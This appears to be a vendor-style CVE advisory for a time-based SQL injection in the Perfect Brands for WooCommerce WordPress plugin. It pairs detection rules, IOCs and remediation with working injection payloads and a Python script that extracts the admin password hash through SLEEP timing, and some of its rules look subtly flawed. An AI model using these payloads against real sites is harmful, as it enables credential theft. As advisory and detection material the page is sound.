CVE-2025-10144
Executive Summary
CVE-2025-10144 is a time-based SQL Injection vulnerability discovered in the Perfect Brands for WooCommerce WordPress plugin, developed by Quadlayers. This flaw affects all versions up to and including 3.6.2. The vulnerability resides in the brands attribute of the products shortcode. Due to insufficient input escaping and lack of proper SQL query preparation, authenticated attackers with at least Contributor-level access can inject arbitrary SQL commands. This allows for the extraction of sensitive information from the WordPress database, such as user credentials and private data. The vulnerability is classified as a WordPress ecosystem issue, specifically targeting the plugin's shortcode handling.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) - Contributor-level access required
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The threat level is elevated due to the low privileges required and the high potential for data exfiltration. Although the EPSS score is currently 0.0%, this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability is triggered via the products shortcode, which is a standard WooCommerce feature. The plugin extends this shortcode by adding a brands attribute to filter products by brand. The flaw occurs because the plugin directly incorporates user-supplied values from the brands attribute into an SQL query without proper sanitization or parameterized queries.
Vulnerable Code Path:
- The shortcode
[products brands="malicious_input"]is processed. - The
brandsvalue is passed to a function that builds a SQLWHEREclause. - The value is concatenated directly into the query string, allowing an attacker to break out of the intended SQL syntax.
- By using time-based payloads (e.g.,
SLEEP()), the attacker can infer database structure and extract data bit by bit.
Example Attack Vector: An attacker with Contributor-level access can create a post containing the shortcode:
[products brands="1' AND (SELECT SLEEP(5))-- -"]
If the page load is delayed by 5 seconds, the injection is successful.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.6.2):
// In a function processing the shortcode
$brands = $_GET['brands']; // or from shortcode attribute
$query = "SELECT * FROM wp_posts WHERE ... AND brand IN ($brands)";
$results = $wpdb->get_results($query);
Patched Code (Hypothetical):
// Use prepared statements
$brands = sanitize_text_field($_GET['brands']);
$brands_array = explode(',', $brands);
$placeholders = array_fill(0, count($brands_array), '%s');
$query = $wpdb->prepare(
"SELECT * FROM wp_posts WHERE ... AND brand IN (" . implode(',', $placeholders) . ")",
$brands_array
);
$results = $wpdb->get_results($query);
The patch must ensure that all user input is either validated against a whitelist of allowed brand names or properly parameterized.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WooCommerce and Perfect Brands for WooCommerce plugin (<= 3.6.2)
- A user account with Contributor-level privileges or higher
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or page.
- Insert the following shortcode with a time-based payload:
[products brands="1' AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)-- -"] - Publish the post and visit its URL.
- Observe the page load time. If delayed, the first character of the admin password hash is 'a'.
- Iterate through characters to extract the full hash.
Automated Exploit (Python Example):
import requests
import time
target = "http://target.com/wordpress"
session = requests.Session()
# Login as contributor
login_data = {"log": "contributor", "pwd": "password", "wp-submit": "Log In"}
session.post(target + "/wp-login.php", data=login_data)
charset = "abcdef0123456789"
extracted = ""
for i in range(1, 33): # MD5 hash length
for c in charset:
payload = f"1' AND (SELECT IF(SUBSTRING(user_pass,{i},1)='{c}',SLEEP(2),0) FROM wp_users LIMIT 1)-- -"
post_data = {"post_title": "test", "post_content": f"[products brands=\"{payload}\"]"}
start = time.time()
r = session.post(target + "/wp-admin/post.php", data=post_data)
elapsed = time.time() - start
if elapsed > 2:
extracted += c
print(f"Found char {i}: {c}")
break
print(f"Admin hash: {extracted}")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual shortcode usage in posts/pages, especially by lower-privileged users.
- Look for SQL keywords (SLEEP, BENCHMARK, UNION) in shortcode attributes.
- Enable WordPress audit logging to track post creation and editing.
Defense:
- Immediately update the plugin to a patched version once available.
- If no patch exists, disable the plugin or restrict its usage to administrators only.
- Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in shortcode attributes.
- Use a security plugin like Wordfence to monitor and block malicious requests.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
brands=with SQL keywords (e.g.,SLEEP,BENCHMARK,UNION). - Unusually long response times for pages containing the
productsshortcode.
- HTTP requests containing
- File IOCs:
- Modified plugin files (check file integrity of
perfect-woocommerce-brands).
- Modified plugin files (check file integrity of
- Database IOCs:
- Suspicious entries in
wp_postsorwp_postmetacontaining SQL-like strings. - Unexpected queries in the MySQL slow query log.
- Suspicious entries in
Detection Engineering
YARA Rule
rule CVE_2025_10144_WordPress_Plugin_SQLi {
meta:
description = "Detects SQL injection attempts targeting Perfect Brands for WooCommerce"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-10144"
strings:
$sqli1 = /brands\s*=\s*['\"][^'\"]*SLEEP\s*\(/i
$sqli2 = /brands\s*=\s*['\"][^'\"]*BENCHMARK\s*\(/i
$sqli3 = /brands\s*=\s*['\"][^'\"]*UNION\s+SELECT/i
$sqli4 = /brands\s*=\s*['\"][^'\"]*OR\s+1\s*=\s*1/i
condition:
any of ($sqli*)
}
Sigma Rule
title: CVE-2025-10144 SQL Injection via Perfect Brands Shortcode
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts in WordPress shortcode attributes
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: 'brands='
cs-uri-query|contains|all:
- 'SLEEP'
- 'BENCHMARK'
- 'UNION'
condition: selection
falsepositives:
- Legitimate use of brand names containing these strings (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-10144 SQL Injection Attempt"; flow:to_server,established; content:"brands="; http_uri; pcre:"/brands\s*=\s*['\"][^'\"]*(SLEEP|BENCHMARK|UNION\s+SELECT|OR\s+1\s*=\s*1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict shortcode usage to administrators only via user role capabilities.
- Apply virtual patching using a WAF to block SQL injection patterns.
Long-term Fix:
- The vendor (Quadlayers) must release a patched version that uses prepared statements or whitelist validation for the
brandsattribute. - Monitor the plugin's update channel and apply the patch as soon as it becomes available.
Workaround:
- If the plugin cannot be disabled, modify the plugin code to sanitize the
brandsinput usingintval()orsanitize_text_field()and validate against a list of allowed brand IDs.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.